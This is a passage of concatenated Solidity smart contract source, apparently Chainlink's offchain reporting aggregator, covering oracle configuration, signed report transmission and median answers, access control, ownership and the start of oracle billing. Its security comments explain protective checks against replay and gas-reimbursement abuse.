return super.latestRound();
}
/// @inheritdoc OffchainAggregator
function getAnswer(uint256 _roundId)
public
override
view
checkAccess()
returns (int256)
{
return super.getAnswer(_roundId);
}
/// @inheritdoc OffchainAggregator
function getTimestamp(uint256 _roundId)
public
override
view
checkAccess()
returns (uint256)
{
return super.getTimestamp(_roundId);
}
/*
* v3 Aggregator interface
*/
/// @inheritdoc OffchainAggregator
function description()
public
override
view
checkAccess()
returns (string memory)
{
return super.description();
}
/// @inheritdoc OffchainAggregator
function getRoundData(uint80 _roundId)
public
override
view
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.getRoundData(_roundId);
}
/// @inheritdoc OffchainAggregator
function latestRoundData()
public
override
view
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.latestRoundData();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AccessControllerInterface.sol";
import "./AggregatorV2V3Interface.sol";
import "./AggregatorValidatorInterface.sol";
import "./LinkTokenInterface.sol";
import "./Owned.sol";
import "./OffchainAggregatorBilling.sol";
import "./TypeAndVersionInterface.sol";
/**
* @notice Onchain verification of reports from the offchain reporting protocol
* @dev For details on its operation, see the offchain reporting protocol design
* @dev doc, which refers to this contract as simply the "contract".
*/
contract OffchainAggregator is Owned, OffchainAggregatorBilling, AggregatorV2V3Interface, TypeAndVersionInterface {
uint256 constant private maxUint32 = (1 << 32) - 1;
// Storing these fields used on the hot path in a HotVars variable reduces the
// retrieval of all of them to a single SLOAD. If any further fields are
// added, make sure that storage of the struct still takes at most 32 bytes.
struct HotVars {
// Provides 128 bits of security against 2nd pre-image attacks, but only
// 64 bits against collisions. This is acceptable, since a malicious owner has
// easier way of messing up the protocol than to find hash collisions.
bytes16 latestConfigDigest;
uint40 latestEpochAndRound; // 32 most sig bits for epoch, 8 least sig bits for round
// Current bound assumed on number of faulty/dishonest oracles participating
// in the protocol, this value is referred to as f in the design
uint8 threshold;
// Chainlink Aggregators expose a roundId to consumers. The offchain reporting
// protocol does not use this id anywhere. We increment it whenever a new
// transmission is made to provide callers with contiguous ids for successive
// reports.
uint32 latestAggregatorRoundId;
}
HotVars internal s_hotVars;
// Transmission records the median answer from the transmit transaction at
// time timestamp
struct Transmission {
int192 answer; // 192 bits ought to be enough for anyone
uint64 timestamp;
}
mapping(uint32 /* aggregator round ID */ => Transmission) internal s_transmissions;
// incremented each time a new config is posted. This count is incorporated
// into the config digest, to prevent replay attacks.
uint32 internal s_configCount;
uint32 internal s_latestConfigBlockNumber; // makes it easier for offchain systems
// to extract config from logs.
// Lowest answer the system is allowed to report in response to transmissions
int192 immutable public minAnswer;
// Highest answer the system is allowed to report in response to transmissions
int192 immutable public maxAnswer;
/*
* @param _maximumGasPrice highest gas price for which transmitter will be compensated
* @param _reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param _microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param _linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param _linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
* @param _link address of the LINK contract
* @param _minAnswer lowest answer the median of a report is allowed to be
* @param _maxAnswer highest answer the median of a report is allowed to be
* @param _billingAccessController access controller for billing admin functions
* @param _requesterAccessController access controller for requesting new rounds
* @param _decimals answers are stored in fixed-point format, with this many digits of precision
* @param _description short human-readable description of observable this contract's answers pertain to
*/
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
address _link,
int192 _minAnswer,
int192 _maxAnswer,
AccessControllerInterface _billingAccessController,
AccessControllerInterface _requesterAccessController,
uint8 _decimals,
string memory _description
)
OffchainAggregatorBilling(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission, _link,
_billingAccessController
)
{
decimals = _decimals;
s_description = _description;
setRequesterAccessController(_requesterAccessController);
setValidatorConfig(AggregatorValidatorInterface(0x0), 0);
minAnswer = _minAnswer;
maxAnswer = _maxAnswer;
}
/*
* Versioning
*/
function typeAndVersion()
external
override
pure
virtual
returns (string memory)
{
return "OffchainAggregator 2.0.0";
}
/*
* Config logic
*/
/**
* @notice triggers a new run of the offchain reporting protocol
* @param previousConfigBlockNumber block in which the previous config was set, to simplify historic analysis
* @param configCount ordinal number of this config setting among all config settings over the life of this contract
* @param signers ith element is address ith oracle uses to sign a report
* @param transmitters ith element is address ith oracle uses to transmit a report via the transmit method
* @param threshold maximum number of faulty/dishonest oracles the protocol can tolerate while still working correctly
* @param encodedConfigVersion version of the serialization format used for "encoded" parameter
* @param encoded serialized data used by oracles to configure their offchain operation
*/
event ConfigSet(
uint32 previousConfigBlockNumber,
uint64 configCount,
address[] signers,
address[] transmitters,
uint8 threshold,
uint64 encodedConfigVersion,
bytes encoded
);
// Reverts transaction if config args are invalid
modifier checkConfigValid (
uint256 _numSigners, uint256 _numTransmitters, uint256 _threshold
) {
require(_numSigners <= maxNumOracles, "too many signers");
require(_threshold > 0, "threshold must be positive");
require(
_numSigners == _numTransmitters,
"oracle addresses out of registration"
);
require(_numSigners > 3*_threshold, "faulty-oracle threshold too high");
_;
}
/**
* @notice sets offchain reporting protocol configuration incl. participating oracles
* @param _signers addresses with which oracles sign the reports
* @param _transmitters addresses oracles use to transmit the reports
* @param _threshold number of faulty oracles the system can tolerate
* @param _encodedConfigVersion version number for offchainEncoding schema
* @param _encoded encoded off-chain oracle configuration
*/
function setConfig(
address[] calldata _signers,
address[] calldata _transmitters,
uint8 _threshold,
uint64 _encodedConfigVersion,
bytes calldata _encoded
)
external
checkConfigValid(_signers.length, _transmitters.length, _threshold)
onlyOwner()
{
while (s_signers.length != 0) { // remove any old signer/transmitter addresses
uint lastIdx = s_signers.length - 1;
address signer = s_signers[lastIdx];
address transmitter = s_transmitters[lastIdx];
payOracle(transmitter);
delete s_oracles[signer];
delete s_oracles[transmitter];
s_signers.pop();
s_transmitters.pop();
}
for (uint i = 0; i < _signers.length; i++) { // add new signer/transmitter addresses
require(
s_oracles[_signers[i]].role == Role.Unset,
"repeated signer address"
);
s_oracles[_signers[i]] = Oracle(uint8(i), Role.Signer);
require(s_payees[_transmitters[i]] != address(0), "payee must be set");
require(
s_oracles[_transmitters[i]].role == Role.Unset,
"repeated transmitter address"
);
s_oracles[_transmitters[i]] = Oracle(uint8(i), Role.Transmitter);
s_signers.push(_signers[i]);
s_transmitters.push(_transmitters[i]);
}
s_hotVars.threshold = _threshold;
uint32 previousConfigBlockNumber = s_latestConfigBlockNumber;
s_latestConfigBlockNumber = uint32(block.number);
s_configCount += 1;
uint64 configCount = s_configCount;
{
s_hotVars.latestConfigDigest = configDigestFromConfigData(
address(this),
configCount,
_signers,
_transmitters,
_threshold,
_encodedConfigVersion,
_encoded
);
s_hotVars.latestEpochAndRound = 0;
}
emit ConfigSet(
previousConfigBlockNumber,
configCount,
_signers,
_transmitters,
_threshold,
_encodedConfigVersion,
_encoded
);
}
function configDigestFromConfigData(
address _contractAddress,
uint64 _configCount,
address[] calldata _signers,
address[] calldata _transmitters,
uint8 _threshold,
uint64 _encodedConfigVersion,
bytes calldata _encodedConfig
) internal pure returns (bytes16) {
return bytes16(keccak256(abi.encode(_contractAddress, _configCount,
_signers, _transmitters, _threshold, _encodedConfigVersion, _encodedConfig
)));
}
/**
* @notice information about current offchain reporting protocol configuration
* @return configCount ordinal number of current config, out of all configs applied to this contract so far
* @return blockNumber block at which this config was set
* @return configDigest domain-separation tag for current config (see configDigestFromConfigData)
*/
function latestConfigDetails()
external
view
returns (
uint32 configCount,
uint32 blockNumber,
bytes16 configDigest
)
{
return (s_configCount, s_latestConfigBlockNumber, s_hotVars.latestConfigDigest);
}
/**
* @return list of addresses permitted to transmit reports to this contract
* @dev The list will match the order used to specify the transmitter during setConfig
*/
function transmitters()
external
view
returns(address[] memory)
{
return s_transmitters;
}
/*
* On-chain validation logc
*/
// Configuration for validator
struct ValidatorConfig {
AggregatorValidatorInterface validator;
uint32 gasLimit;
}
ValidatorConfig private s_validatorConfig;
/**
* @notice indicates that the validator configuration has been set
* @param previousValidator previous validator contract
* @param previousGasLimit previous gas limit for validate calls
* @param currentValidator current validator contract
* @param currentGasLimit current gas limit for validate calls
*/
event ValidatorConfigSet(
AggregatorValidatorInterface indexed previousValidator,
uint32 previousGasLimit,
AggregatorValidatorInterface indexed currentValidator,
uint32 currentGasLimit
);
/**
* @notice validator configuration
* @return validator validator contract
* @return gasLimit gas limit for validate calls
*/
function validatorConfig()
external
view
returns (AggregatorValidatorInterface validator, uint32 gasLimit)
{
ValidatorConfig memory vc = s_validatorConfig;
return (vc.validator, vc.gasLimit);
}
/**
* @notice sets validator configuration
* @dev set _newValidator to 0x0 to disable validate calls
* @param _newValidator address of the new validator contract
* @param _newGasLimit new gas limit for validate calls
*/
function setValidatorConfig(AggregatorValidatorInterface _newValidator, uint32 _newGasLimit)
public
onlyOwner()
{
ValidatorConfig memory previous = s_validatorConfig;
if (previous.validator != _newValidator || previous.gasLimit != _newGasLimit) {
s_validatorConfig = ValidatorConfig({
validator: _newValidator,
gasLimit: _newGasLimit
});
emit ValidatorConfigSet(previous.validator, previous.gasLimit, _newValidator, _newGasLimit);
}
}
function validateAnswer(
uint32 _aggregatorRoundId,
int256 _answer
)
private
{
ValidatorConfig memory vc = s_validatorConfig;
if (address(vc.validator) == address(0)) {
return;
}
uint32 prevAggregatorRoundId = _aggregatorRoundId - 1;
int256 prevAggregatorRoundAnswer = s_transmissions[prevAggregatorRoundId].answer;
// We do not want the validator to ever prevent reporting, so we limit its
// gas usage and catch any errors that may arise.
try vc.validator.validate{gas: vc.gasLimit}(
prevAggregatorRoundId,
prevAggregatorRoundAnswer,
_aggregatorRoundId,
_answer
) {} catch {}
}
/*
* requestNewRound logic
*/
AccessControllerInterface internal s_requesterAccessController;
/**
* @notice emitted when a new requester access controller contract is set
* @param old the address prior to the current setting
* @param current the address of the new access controller contract
*/
event RequesterAccessControllerSet(AccessControllerInterface old, AccessControllerInterface current);
/**
* @notice emitted to immediately request a new round
* @param requester the address of the requester
* @param configDigest the latest transmission's configDigest
* @param epoch the latest transmission's epoch
* @param round the latest transmission's round
*/
event RoundRequested(address indexed requester, bytes16 configDigest, uint32 epoch, uint8 round);
/**
* @notice address of the requester access controller contract
* @return requester access controller address
*/
function requesterAccessController()
external
view
returns (AccessControllerInterface)
{
return s_requesterAccessController;
}
/**
* @notice sets the requester access controller
* @param _requesterAccessController designates the address of the new requester access controller
*/
function setRequesterAccessController(AccessControllerInterface _requesterAccessController)
public
onlyOwner()
{
AccessControllerInterface oldController = s_requesterAccessController;
if (_requesterAccessController != oldController) {
s_requesterAccessController = AccessControllerInterface(_requesterAccessController);
emit RequesterAccessControllerSet(oldController, _requesterAccessController);
}
}
/**
* @notice immediately requests a new round
* @return the aggregatorRoundId of the next round. Note: The report for this round may have been
* transmitted (but not yet mined) *before* requestNewRound() was even called. There is *no*
* guarantee of causality between the request and the report at aggregatorRoundId.
*/
function requestNewRound() external returns (uint80) {
require(msg.sender == owner || s_requesterAccessController.hasAccess(msg.sender, msg.data),
"Only owner&requester can call");
HotVars memory hotVars = s_hotVars;
emit RoundRequested(
msg.sender,
hotVars.latestConfigDigest,
uint32(s_hotVars.latestEpochAndRound >> 8),
uint8(s_hotVars.latestEpochAndRound)
);
return hotVars.latestAggregatorRoundId + 1;
}
/*
* Transmission logic
*/
/**
* @notice indicates that a new report was transmitted
* @param aggregatorRoundId the round to which this report was assigned
* @param answer median of the observations attached this report
* @param transmitter address from which the report was transmitted
* @param observations observations transmitted with this report
* @param rawReportContext signature-replay-prevention domain-separation tag
*/
event NewTransmission(
uint32 indexed aggregatorRoundId,
int192 answer,
address transmitter,
int192[] observations,
bytes observers,
bytes32 rawReportContext
);
// decodeReport is used to check that the solidity and go code are using the
// same format. See TestOffchainAggregator.testDecodeReport and TestReportParsing
function decodeReport(bytes memory _report)
internal
pure
returns (
bytes32 rawReportContext,
bytes32 rawObservers,
int192[] memory observations
)
{
(rawReportContext, rawObservers, observations) = abi.decode(_report,
(bytes32, bytes32, int192[]));
}
// Used to relieve stack pressure in transmit
struct ReportData {
HotVars hotVars; // Only read from storage once
bytes observers; // ith element is the index of the ith observer
int192[] observations; // ith element is the ith observation
bytes vs; // jth element is the v component of the jth signature
bytes32 rawReportContext;
}
/*
* @notice details about the most recent report
* @return configDigest domain separation tag for the latest report
* @return epoch epoch in which the latest report was generated
* @return round OCR round in which the latest report was generated
* @return latestAnswer median value from latest report
* @return latestTimestamp when the latest report was transmitted
*/
function latestTransmissionDetails()
external
view
returns (
bytes16 configDigest,
uint32 epoch,
uint8 round,
int192 latestAnswer,
uint64 latestTimestamp
)
{
require(msg.sender == tx.origin, "Only callable by EOA");
return (
s_hotVars.latestConfigDigest,
uint32(s_hotVars.latestEpochAndRound >> 8),
uint8(s_hotVars.latestEpochAndRound),
s_transmissions[s_hotVars.latestAggregatorRoundId].answer,
s_transmissions[s_hotVars.latestAggregatorRoundId].timestamp
);
}
// The constant-length components of the msg.data sent to transmit.
// See the "If we wanted to call sam" example on for example reasoning
// https://solidity.readthedocs.io/en/v0.7.2/abi-spec.html
uint16 private constant TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT =
4 + // function selector
32 + // word containing start location of abiencoded _report value
32 + // word containing location start of abiencoded _rs value
32 + // word containing start location of abiencoded _ss value
32 + // _rawVs value
32 + // word containing length of _report
32 + // word containing length _rs
32 + // word containing length of _ss
0; // placeholder
function expectedMsgDataLength(
bytes calldata _report, bytes32[] calldata _rs, bytes32[] calldata _ss
) private pure returns (uint256 length)
{
// calldata will never be big enough to make this overflow
return uint256(TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT) +
_report.length + // one byte pure entry in _report
_rs.length * 32 + // 32 bytes per entry in _rs
_ss.length * 32 + // 32 bytes per entry in _ss
0; // placeholder
}
/**
* @notice transmit is called to post a new report to the contract
* @param _report serialized report, which the signatures are signing. See parsing code below for format. The ith element of the observers component must be the index in s_signers of the address for the ith signature
* @param _rs ith element is the R components of the ith signature on report. Must have at most maxNumOracles entries
* @param _ss ith element is the S components of the ith signature on report. Must have at most maxNumOracles entries
* @param _rawVs ith element is the the V component of the ith signature
*/
function transmit(
// NOTE: If these parameters are changed, expectedMsgDataLength and/or
// TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT need to be changed accordingly
bytes calldata _report,
bytes32[] calldata _rs, bytes32[] calldata _ss, bytes32 _rawVs // signatures
)
external
{
uint256 initialGas = gasleft(); // This line must come first
// Make sure the transmit message-length matches the inputs. Otherwise, the
// transmitter could append an arbitrarily long (up to gas-block limit)
// string of 0 bytes, which we would reimburse at a rate of 16 gas/byte, but
// which would only cost the transmitter 4 gas/byte. (Appendix G of the
// yellow paper, p. 25, for G_txdatazero and EIP 2028 for G_txdatanonzero.)
// This could amount to reimbursement profit of 36 million gas, given a 3MB
// zero tail.
require(msg.data.length == expectedMsgDataLength(_report, _rs, _ss),
"transmit message too long");
ReportData memory r; // Relieves stack pressure
{
r.hotVars = s_hotVars; // cache read from storage
bytes32 rawObservers;
(r.rawReportContext, rawObservers, r.observations) = abi.decode(
_report, (bytes32, bytes32, int192[])
);
// rawReportContext consists of:
// 11-byte zero padding
// 16-byte configDigest
// 4-byte epoch
// 1-byte round
bytes16 configDigest = bytes16(r.rawReportContext << 88);
require(
r.hotVars.latestConfigDigest == configDigest,
"configDigest mismatch"
);
uint40 epochAndRound = uint40(uint256(r.rawReportContext));
// direct numerical comparison works here, because
//
// ((e,r) <= (e',r')) implies (epochAndRound <= epochAndRound')
//
// because alphabetic ordering implies e <= e', and if e = e', then r<=r',
// so e*256+r <= e'*256+r', because r, r' < 256
require(r.hotVars.latestEpochAndRound < epochAndRound, "stale report");
require(_rs.length > r.hotVars.threshold, "not enough signatures");
require(_rs.length <= maxNumOracles, "too many signatures");
require(_ss.length == _rs.length, "signatures out of registration");
require(r.observations.length <= maxNumOracles,
"num observations out of bounds");
require(r.observations.length > 2 * r.hotVars.threshold,
"too few values to trust median");
// Copy signature parities in bytes32 _rawVs to bytes r.v
r.vs = new bytes(_rs.length);
for (uint8 i = 0; i < _rs.length; i++) {
r.vs[i] = _rawVs[i];
}
// Copy observer identities in bytes32 rawObservers to bytes r.observers
r.observers = new bytes(r.observations.length);
bool[maxNumOracles] memory seen;
for (uint8 i = 0; i < r.observations.length; i++) {
uint8 observerIdx = uint8(rawObservers[i]);
require(!seen[observerIdx], "observer index repeated");
seen[observerIdx] = true;
r.observers[i] = rawObservers[i];
}
Oracle memory transmitter = s_oracles[msg.sender];
require( // Check that sender is authorized to report
transmitter.role == Role.Transmitter &&
msg.sender == s_transmitters[transmitter.index],
"unauthorized transmitter"
);
// record epochAndRound here, so that we don't have to carry the local
// variable in transmit. The change is reverted if something fails later.
r.hotVars.latestEpochAndRound = epochAndRound;
}
{ // Verify signatures attached to report
bytes32 h = keccak256(_report);
bool[maxNumOracles] memory signed;
Oracle memory o;
for (uint i = 0; i < _rs.length; i++) {
address signer = ecrecover(h, uint8(r.vs[i])+27, _rs[i], _ss[i]);
o = s_oracles[signer];
require(o.role == Role.Signer, "address not authorized to sign");
require(!signed[o.index], "non-unique signature");
signed[o.index] = true;
}
}
{ // Check the report contents, and record the result
for (uint i = 0; i < r.observations.length - 1; i++) {
bool inOrder = r.observations[i] <= r.observations[i+1];
require(inOrder, "observations not sorted");
}
int192 median = r.observations[r.observations.length/2];
require(minAnswer <= median && median <= maxAnswer, "median is out of min-max range");
r.hotVars.latestAggregatorRoundId++;
s_transmissions[r.hotVars.latestAggregatorRoundId] =
Transmission(median, uint64(block.timestamp));
emit NewTransmission(
r.hotVars.latestAggregatorRoundId,
median,
msg.sender,
r.observations,
r.observers,
r.rawReportContext
);
// Emit these for backwards compatability with offchain consumers
// that only support legacy events
emit NewRound(
r.hotVars.latestAggregatorRoundId,
address(0x0), // use zero address since we don't have anybody "starting" the round here
block.timestamp
);
emit AnswerUpdated(
median,
r.hotVars.latestAggregatorRoundId,
block.timestamp
);
validateAnswer(r.hotVars.latestAggregatorRoundId, median);
}
s_hotVars = r.hotVars;
assert(initialGas < maxUint32);
reimburseAndRewardOracles(uint32(initialGas), r.observers);
}
/*
* v2 Aggregator interface
*/
/**
* @notice median from the most recent report
*/
function latestAnswer()
public
override
view
virtual
returns (int256)
{
return s_transmissions[s_hotVars.latestAggregatorRoundId].answer;
}
/**
* @notice timestamp of block in which last report was transmitted
*/
function latestTimestamp()
public
override
view
virtual
returns (uint256)
{
return s_transmissions[s_hotVars.latestAggregatorRoundId].timestamp;
}
/**
* @notice Aggregator round (NOT OCR round) in which last report was transmitted
*/
function latestRound()
public
override
view
virtual
returns (uint256)
{
return s_hotVars.latestAggregatorRoundId;
}
/**
* @notice median of report from given aggregator round (NOT OCR round)
* @param _roundId the aggregator round of the target report
*/
function getAnswer(uint256 _roundId)
public
override
view
virtual
returns (int256)
{
if (_roundId > 0xFFFFFFFF) { return 0; }
return s_transmissions[uint32(_roundId)].answer;
}
/**
* @notice timestamp of block in which report from given aggregator round was transmitted
* @param _roundId aggregator round (NOT OCR round) of target report
*/
function getTimestamp(uint256 _roundId)
public
override
view
virtual
returns (uint256)
{
if (_roundId > 0xFFFFFFFF) { return 0; }
return s_transmissions[uint32(_roundId)].timestamp;
}
/*
* v3 Aggregator interface
*/
string constant private V3_NO_DATA_ERROR = "No data present";
/**
* @return answers are stored in fixed-point format, with this many digits of precision
*/
uint8 immutable public override decimals;
/**
* @notice aggregator contract version
*/
uint256 constant public override version = 4;
string internal s_description;
/**
* @notice human-readable description of observable this contract is reporting on
*/
function description()
public
override
view
virtual
returns (string memory)
{
return s_description;
}
/**
* @notice details for the given aggregator round
* @param _roundId target aggregator round (NOT OCR round). Must fit in uint32
* @return roundId _roundId
* @return answer median of report from given _roundId
* @return startedAt timestamp of block in which report from given _roundId was transmitted
* @return updatedAt timestamp of block in which report from given _roundId was transmitted
* @return answeredInRound _roundId
*/
function getRoundData(uint80 _roundId)
public
override
view
virtual
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
require(_roundId <= 0xFFFFFFFF, V3_NO_DATA_ERROR);
Transmission memory transmission = s_transmissions[uint32(_roundId)];
return (
_roundId,
transmission.answer,
transmission.timestamp,
transmission.timestamp,
_roundId
);
}
/**
* @notice aggregator details for the most recently transmitted report
* @return roundId aggregator round of latest report (NOT OCR round)
* @return answer median of latest report
* @return startedAt timestamp of block containing latest report
* @return updatedAt timestamp of block containing latest report
* @return answeredInRound aggregator round of latest report
*/
function latestRoundData()
public
override
view
virtual
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
roundId = s_hotVars.latestAggregatorRoundId;
// Skipped for compatability with existing FluxAggregator in which latestRoundData never reverts.
// require(roundId != 0, V3_NO_DATA_ERROR);
Transmission memory transmission = s_transmissions[uint32(roundId)];
return (
roundId,
transmission.answer,
transmission.timestamp,
transmission.timestamp,
roundId
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./SimpleWriteAccessController.sol";
/**
* @title SimpleReadAccessController
* @notice Gives access to:
* - any externally owned account (note that offchain actors can always read
* any contract storage regardless of onchain access control measures, so this
* does not weaken the access control while improving usability)
* - accounts explicitly added to an access list
* @dev SimpleReadAccessController is not suitable for access controlling writes
* since it grants any externally owned account access! See
* SimpleWriteAccessController for that.
*/
contract SimpleReadAccessController is SimpleWriteAccessController {
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory _calldata
)
public
view
virtual
override
returns (bool)
{
return super.hasAccess(_user, _calldata) || _user == tx.origin;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AccessControllerInterface {
function hasAccess(address user, bytes calldata data) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AggregatorInterface.sol";
import "./AggregatorV3Interface.sol";
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AggregatorValidatorInterface {
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title The Owned contract
* @notice A contract with helpers for basic contract ownership.
*/
contract Owned {
address payable public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AccessControllerInterface.sol";
import "./LinkTokenInterface.sol";
import "./Owned.sol";
/**
* @notice tracks administration of oracle-reward and gas-reimbursement parameters.
* @dev
* If you read or change this, be sure to read or adjust the comments. They
* track the units of the values under consideration, and are crucial to
* the readability of the operations it specifies.
* @notice
* Trust Model:
* Nothing in this contract prevents a billing admin from setting insane
* values for the billing parameters in setBilling. Oracles
* participating in this contract should regularly check that the
* parameters make sense. Similarly, the outstanding obligations of this
* contract to the oracles can exceed the funds held by the contract.
* Oracles participating in this contract should regularly check that it
* holds sufficient funds and stop interacting with it if funding runs
* out.
* This still leaves oracles with some risk due to TOCTOU issues.
* However, since the sums involved are pretty small (Ethereum
* transactions aren't that expensive in the end) and an oracle would
* likely stop participating in a contract it repeatedly lost money on,
* this risk is deemed acceptable. Oracles should also regularly
* withdraw any funds in the contract to prevent issues where the
* contract becomes underfunded at a later time, and different oracles
* are competing for the left-over funds.
* Finally, note that any change to the set of oracles or to the billing
* parameters will trigger payout of all oracles first (using the old
* parameters), a billing admin cannot take away funds that are already
* marked for payment.
*/
contract OffchainAggregatorBilling is Owned {
// Maximum number of oracles the offchain reporting protocol is designed for
uint256 constant internal maxNumOracles = 31;
// Parameters for oracle payments
struct Billing {
// Highest compensated gas price, in ETH-gwei uints
uint32 maximumGasPrice;
// If gas price is less (in ETH-gwei units), transmitter gets half the savings
uint32 reasonableGasPrice;
// Pay transmitter back this much LINK per unit eth spent on gas
// (1e-6LINK/ETH units)
uint32 microLinkPerEth;
// Fixed LINK reward for each observer, in LINK-gwei units
uint32 linkGweiPerObservation;
// Fixed reward for transmitter, in linkGweiPerObservation units
uint32 linkGweiPerTransmission;
}
Billing internal s_billing;
/**
* @return LINK token contract used for billing
*/
LinkTokenInterface immutable public LINK;
AccessControllerInterface internal s_billingAccessController;
// ith element is number of observation rewards due to ith process, plus one.
// This is expected to saturate after an oracle has submitted 65,535
// observations, or about 65535/(3*24*20) = 45 days, given a transmission
// every 3 minutes.
//
// This is always one greater than the actual value, so that when the value is
// reset to zero, we don't end up with a zero value in storage (which would
// result in a higher gas cost, the next time the value is incremented.)
// Calculations using this variable need to take that offset into account.
uint16[maxNumOracles] internal s_oracleObservationsCounts;
// Addresses at which oracles want to receive payments, by transmitter address
mapping (address /* transmitter */ => address /* payment address */)
internal
s_payees;
// Payee addresses which must be approved by the owner
mapping (address /* transmitter */ => address /* payment address */)
internal
s_proposedPayees;
// LINK-wei-denominated reimbursements for gas used by transmitters.
//
// This is always one greater than the actual value, so that when the value is
// reset to zero, we don't end up with a zero value in storage (which would
// result in a higher gas cost, the next time the value is incremented.)
// Calculations using this variable need to take that offset into account.
//
// Argument for overflow safety:
// We have the following maximum intermediate values:
// - 2**40 additions to this variable (epochAndRound is a uint40)
// - 2**32 gas price in ethgwei/gas
// - 1e9 ethwei/ethgwei
// - 2**32 gas since the block gas limit is at ~20 million
// - 2**32 (microlink/eth)
// And we have 2**40 * 2**32 * 1e9 * 2**32 * 2**32 < 2**166
// (we also divide in some places, but that only makes the value smaller)
// We can thus safely use uint256 intermediate values for the computation
// updating this variable.
uint256[maxNumOracles] internal s_gasReimbursementsLinkWei;
// Used for s_oracles[a].role, where a is an address, to track the purpose
// of the address, or to indicate that the address is unset.
enum Role {
// No oracle role has been set for address a
Unset,
// Signing address for the s_oracles[a].index'th oracle. I.e., report
// signatures from this oracle should ecrecover back to address a.
Signer,
// Transmission address for the s_oracles[a].index'th oracle. I.e., if a
// report is received by OffchainAggregator.transmit in which msg.sender is
// a, it is attributed to the s_oracles[a].index'th oracle.
Transmitter
}
struct Oracle {
uint8 index; // Index of oracle in s_signers/s_transmitters
Role role; // Role of the address which mapped to this struct
}
mapping (address /* signer OR transmitter address */ => Oracle)
internal s_oracles;
// s_signers contains the signing address of each oracle
address[] internal s_signers;
// s_transmitters contains the transmission address of each oracle,
// i.e. the address the oracle actually sends transactions to the contract from
address[] internal s_transmitters;
uint256 constant private maxUint16 = (1 << 16) - 1;
uint256 constant internal maxUint128 = (1 << 128) - 1;
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
address _link,
AccessControllerInterface _billingAccessController
)
{
setBillingInternal(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
setBillingAccessControllerInternal(_billingAccessController);
LINK = LinkTokenInterface(_link);
uint16[maxNumOracles] memory counts; // See s_oracleObservationsCounts docstring
uint256[maxNumOracles] memory gas; // see s_gasReimbursementsLinkWei docstring
for (uint8 i = 0; i < maxNumOracles; i++) {
counts[i] = 1;
gas[i] = 1;
}
s_oracleObservationsCounts = counts;
s_gasReimbursementsLinkWei = gas;
}
/**
* @notice emitted when billing parameters are set
* @param maximumGasPrice highest gas price for which transmitter will be compensated
* @param reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
*/
event BillingSet(
uint32 maximumGasPrice,
uint32 reasonableGasPrice,
uint32 microLinkPerEth,
uint32 linkGweiPerObservation,
uint32 linkGweiPerTransmission
);
function setBillingInternal(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
